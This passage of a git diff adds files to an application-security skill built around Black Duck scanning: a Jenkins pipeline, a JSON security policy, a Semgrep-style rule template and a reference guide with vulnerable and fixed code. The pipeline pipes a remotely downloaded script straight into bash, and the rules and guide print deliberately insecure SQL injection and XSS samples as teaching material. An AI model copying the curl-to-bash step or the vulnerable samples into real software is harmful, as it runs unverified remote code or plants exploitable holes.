"==========================================" + } + + // Clean previous scan results + sh 'rm -rf blackduck-output || true' + sh 'mkdir -p blackduck-output' + } + } + + stage('Dependency Installation') { + steps { + script { + // Install dependencies based on project type + if (fileExists('package.json')) { + echo 'Node.js project detected' + sh 'npm ci || npm install' + } + else if (fileExists('requirements.txt')) { + echo 'Python project detected' + sh 'pip install -r requirements.txt' + } + else if (fileExists('pom.xml')) { + echo 'Maven project detected' + sh 'mvn dependency:resolve' + } + else if (fileExists('build.gradle')) { + echo 'Gradle project detected' + sh './gradlew dependencies' + } + } + } + } + + stage('Black Duck Scan') { + steps { + script { + def detectCommand = """ + bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --blackduck.url=${BLACKDUCK_URL} \ + --blackduck.api.token=${BLACKDUCK_TOKEN} \ + --detect.project.name="${PROJECT_NAME}" \ + --detect.project.version.name="${PROJECT_VERSION}" \ + --detect.output.path=${WORKSPACE}/blackduck-output \ + --detect.cleanup=false \ + --detect.risk.report.pdf=true \ + --detect.notices.report=true + """ + + // Add scan type configuration + switch(params.SCAN_TYPE) { + case 'RAPID': + detectCommand += " --detect.detector.search.depth=0" + detectCommand += " --detect.blackduck.signature.scanner.snippet.matching=SNIPPET_MATCHING" + break + case 'INTELLIGENT': + detectCommand += " --detect.detector.search.depth=3" + break + case 'FULL': + detectCommand += " --detect.tools=DETECTOR,SIGNATURE_SCAN,BINARY_SCAN" + detectCommand += " --detect.detector.search.depth=10" + break + } + + // Add policy check if enabled + if (params.FAIL_ON_POLICY_VIOLATION) { + detectCommand += " --detect.policy.check.fail.on.severities=BLOCKER,CRITICAL" + detectCommand += " --detect.wait.for.results=true" + } + + // Execute scan + try { + sh detectCommand + } catch (Exception e) { + if (params.FAIL_ON_POLICY_VIOLATION) { + error("Black Duck policy violations detected!") + } else { + unstable("Black Duck scan completed with violations") + } + } + } + } + } + + stage('Generate SBOM') { + when { + expression { params.GENERATE_SBOM == true } + } + steps { + script { + sh """ + bash <(curl -s -L https://detect.synopsys.com/detect.sh) \ + --blackduck.url=${BLACKDUCK_URL} \ + --blackduck.api.token=${BLACKDUCK_TOKEN} \ + --detect.project.name="${PROJECT_NAME}" \ + --detect.project.version.name="${PROJECT_VERSION}" \ + --detect.tools=DETECTOR \ + --detect.bom.aggregate.name=sbom-cyclonedx.json \ + --detect.output.path=${WORKSPACE}/sbom-output + """ + } + } + } + + stage('Parse Results') { + steps { + script { + // Parse Black Duck results + def statusFile = sh( + script: 'find blackduck-output -name "status.json" -type f | head -n 1', + returnStdout: true + ).trim() + + if (statusFile) { + def status = readJSON file: statusFile + echo "Policy Status: ${status.policyStatus?.overallStatus}" + echo "Component Count: ${status.componentStatus?.componentCount}" + + // Set build description + currentBuild.description = """ + Black Duck Scan Results + Policy: ${status.policyStatus?.overallStatus} + Components: ${status.componentStatus?.componentCount} + """.stripIndent() + } + } + } + } + + stage('Publish Reports') { + steps { + // Archive reports + archiveArtifacts( + artifacts: 'blackduck-output/**/BlackDuck_RiskReport_*.pdf,blackduck-output/**/BlackDuck_Notices_*.txt', + allowEmptyArchive: true, + fingerprint: true + ) + + // Archive SBOM if generated + archiveArtifacts( + artifacts: 'sbom-output/**/sbom-cyclonedx.json', + allowEmptyArchive: true, + fingerprint: true + ) + + // Publish HTML reports + publishHTML([ + allowMissing: true, + alwaysLinkToLastBuild: true, + keepAll: true, + reportDir: 'blackduck-output', + reportFiles: '**/*.html', + reportName: 'Black Duck Security Report' + ]) + } + } + + stage('Quality Gate') { + when { + expression { params.FAIL_ON_POLICY_VIOLATION == true } + } + steps { + script { + // Check for policy violations + def statusFile = sh( + script: 'find blackduck-output -name "status.json" -type f | head -n 1', + returnStdout: true + ).trim() + + if (statusFile) { + def status = readJSON file: statusFile + + if (status.policyStatus?.overallStatus == 'IN_VIOLATION') { + error("Build failed: Black Duck policy violations detected") + } else { + echo "✅ No policy violations detected" + } + } + } + } + } + } + + post { + always { + // Clean up workspace + cleanWs( + deleteDirs: true, + patterns: [ + [pattern: '.blackduck', type: 'INCLUDE'], + [pattern: 'blackduck-output/runs', type: 'INCLUDE'] + ] + ) + } + + success { + echo '✅ Black Duck scan completed successfully' + + // Send notification (configure as needed) + // emailext( + // subject: "Black Duck Scan Success: ${PROJECT_NAME}", + // body: "Black Duck scan completed with no policy violations", + // to: "${env.CHANGE_AUTHOR_EMAIL}" + // ) + } + + failure { + echo '❌ Black Duck scan failed or policy violations detected' + + // Send notification + // emailext( + // subject: "Black Duck Scan Failed: ${PROJECT_NAME}", + // body: "Black Duck scan detected policy violations. Review the report for details.", + // to: "${env.CHANGE_AUTHOR_EMAIL}" + // ) + } + + unstable { + echo '⚠️ Black Duck scan completed with warnings' + } + } +} + +// Shared library functions (optional) + +def getProjectType() { + if (fileExists('package.json')) return 'nodejs' + if (fileExists('requirements.txt')) return 'python' + if (fileExists('pom.xml')) return 'maven' + if (fileExists('build.gradle')) return 'gradle' + if (fileExists('Gemfile')) return 'ruby' + if (fileExists('go.mod')) return 'golang' + return 'unknown' +} + +def installDependencies(projectType) { + switch(projectType) { + case 'nodejs': + sh 'npm ci || npm install' + break + case 'python': + sh 'pip install -r requirements.txt' + break + case 'maven': + sh 'mvn dependency:resolve' + break + case 'gradle': + sh './gradlew dependencies' + break + case 'ruby': + sh 'bundle install' + break + case 'golang': + sh 'go mod download' + break + default: + echo "Unknown project type, skipping dependency installation" + } +} diff --git a/skills/appsec/sca-blackduck/assets/policy_templates/security_policy.json b/skills/appsec/sca-blackduck/assets/policy_templates/security_policy.json new file mode 100644 index 0000000..9faf225 --- /dev/null +++ b/skills/appsec/sca-blackduck/assets/policy_templates/security_policy.json @@ -0,0 +1,182 @@ +{ + "$schema": "https://json-schema.org/draft-07/schema#", + "title": "Black Duck Security Policy", + "description": "Default security policy for Black Duck SCA scanning", + "version": "1.0.0", + + "vulnerability_thresholds": { + "description": "Maximum allowed vulnerabilities by severity", + "critical": { + "max_count": 0, + "action": "fail", + "description": "No critical vulnerabilities allowed" + }, + "high": { + "max_count": 0, + "action": "fail", + "description": "No high severity vulnerabilities allowed" + }, + "medium": { + "max_count": 10, + "action": "warn", + "description": "Up to 10 medium severity vulnerabilities allowed with warning" + }, + "low": { + "max_count": 50, + "action": "info", + "description": "Up to 50 low severity vulnerabilities allowed" + } + }, + + "cvss_thresholds": { + "description": "CVSS score-based policy", + "max_cvss_score": 7.0, + "fail_on_exploitable": true, + "require_exploit_available": false + }, + + "license_policy": { + "description": "License compliance rules", + "blocklist": [ + { + "license": "GPL-2.0", + "reason": "Strong copyleft incompatible with commercial software", + "action": "fail" + }, + { + "license": "GPL-3.0", + "reason": "Strong copyleft incompatible with commercial software", + "action": "fail" + }, + { + "license": "AGPL-3.0", + "reason": "Network copyleft triggers on SaaS usage", + "action": "fail" + } + ], + "warning_list": [ + { + "license": "LGPL-2.1", + "reason": "Weak copyleft - verify dynamic linking", + "action": "warn" + }, + { + "license": "LGPL-3.0", + "reason": "Weak copyleft - verify dynamic linking", + "action": "warn" + }, + { + "license": "MPL-2.0", + "reason": "File-level copyleft - verify separation", + "action": "warn" + } + ], + "approved_list": [ + "MIT", + "Apache-2.0", + "BSD-2-Clause", + "BSD-3-Clause", + "ISC", + "0BSD", + "CC0-1.0", + "Unlicense" + ], + "require_approval_for_new_licenses": true, + "fail_on_unknown_license": true + }, + + "component_policy": { + "description": "Component usage and quality rules", + "blocklist": [ + { + "name": "event-stream", + "version": "3.3.6", + "reason": "Known malicious version with cryptocurrency stealer", + "action": "fail" + } + ], + "quality_requirements": { + "min_github_stars": 10, + "min_contributors": 2, + "max_age_days": 1095, + "require_active_maintenance": true, + "max_days_since_update": 730, + "fail_on_deprecated": true, + "fail_on_unmaintained": false + } + }, + + "operational_risk": { + "description": "Supply chain and operational risk policies", + "fail_on_unmaintained": false, + "max_days_inactive": 730, + "require_repository_url": true, + "warn_on_single_maintainer": true, + "fail_on_no_repository": false + }, + + "sbom_requirements": { + "description": "Software Bill of Materials requirements", + "require_sbom_generation": true, + "sbom_format": "CycloneDX", + "sbom_version": "1.4", + "include_transitive_dependencies": true, + "include_license_info": true + }, + + "compliance_requirements": { + "description": "Regulatory compliance mappings", + "frameworks": [ + "SOC2", + "PCI-DSS", + "GDPR", + "HIPAA" + ], + "require_vulnerability_tracking": true, + "require_remediation_timeline": true, + "max_remediation_days": { + "critical": 7, + "high": 30, + "medium": 90, + "low": 180 + } + }, + + "exclusions": { + "description": "Global exclusions and exceptions", + "paths": [ + "test/**", + "tests/**", + "**/test/**", + "**/__tests__/**", + "**/*.test.js", + "**/*.spec.js", + "node_modules/**/.bin/**" + ], + "dev_dependencies": { + "exclude_from_production_scan": true, + "apply_relaxed_policy": true + } + }, + + "notification_settings": { + "description": "Alert and notification configuration", + "notify_on_new_vulnerabilities": true, + "notify_on_policy_violation": true, + "notify_on_license_violation": true, + "notification_channels": [ + "email", + "slack", + "jira" + ] + }, + + "remediation_guidance": { + "description": "Remediation policy and guidance", + "auto_create_tickets": true, + "ticket_system": "jira", + "assign_to_component_owner": true, + "require_risk_acceptance_approval": true, + "max_risk_acceptance_duration_days": 90 + } +} diff --git a/skills/appsec/sca-blackduck/assets/rule-template.yaml b/skills/appsec/sca-blackduck/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/appsec/sca-blackduck/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/appsec/sca-blackduck/references/EXAMPLE.md b/skills/appsec/sca-blackduck/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/appsec/sca-blackduck/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + 